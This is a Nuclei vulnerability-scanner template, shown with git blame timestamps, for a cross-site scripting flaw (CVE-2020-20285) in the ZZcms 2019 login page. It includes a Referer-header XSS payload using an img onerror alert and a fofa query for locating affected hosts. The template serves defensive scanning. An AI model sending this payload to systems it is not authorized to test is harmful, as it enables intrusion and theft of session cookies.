nuclei-templates/http/cves/2020/CVE-2020-20285.yaml

49 lines
1.3 KiB
YAML
Raw Normal View History

2022-09-30 13:33:15 +00:00
id: CVE-2020-20285
info:
name: ZZcms - Cross-Site Scripting
2022-09-30 13:33:15 +00:00
author: edoardottt
severity: medium
2022-09-30 13:40:34 +00:00
description: |
ZZcms 2019 contains a cross-site scripting vulnerability in the user login page. An attacker can inject arbitrary JavaScript code in the referer header via user/login.php, which can allow theft of cookie-based credentials and launch of subsequent attacks.
2022-09-30 13:33:15 +00:00
reference:
- https://github.com/iohex/ZZCMS/blob/master/zzcms2019_login_xss.md
- https://nvd.nist.gov/vuln/detail/CVE-2020-20285
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
2022-09-30 13:33:15 +00:00
cve-id: CVE-2020-20285
cwe-id: CWE-79
cpe: cpe:2.3:a:zzcms:zzcms:*:*:*:*:*:*:*:*
epss-score: 0.0009
2022-10-01 09:45:15 +00:00
metadata:
max-request: 1
fofa-query: zzcms
verified: "true"
2022-09-30 13:33:15 +00:00
tags: cve,cve2020,zzcms,xss
http:
2022-09-30 13:33:15 +00:00
- raw:
- |
2022-10-01 09:27:54 +00:00
GET /user/login.php HTTP/1.1
2022-09-30 13:33:15 +00:00
Host: {{Hostname}}
Referer: xss"/><img src="#" onerror="alert(document.domain)"/>
matchers-condition: and
matchers:
2022-10-01 09:27:54 +00:00
- type: word
part: body
words:
- 'fromurl" type="hidden" value="xss"/><img src="#" onerror="alert(document.domain)"/>'
2022-09-30 13:33:15 +00:00
- type: word
part: header
words:
- "text/html"
2022-10-01 09:27:54 +00:00
- type: status
status:
- 200
# Enhanced by md on 2022/10/17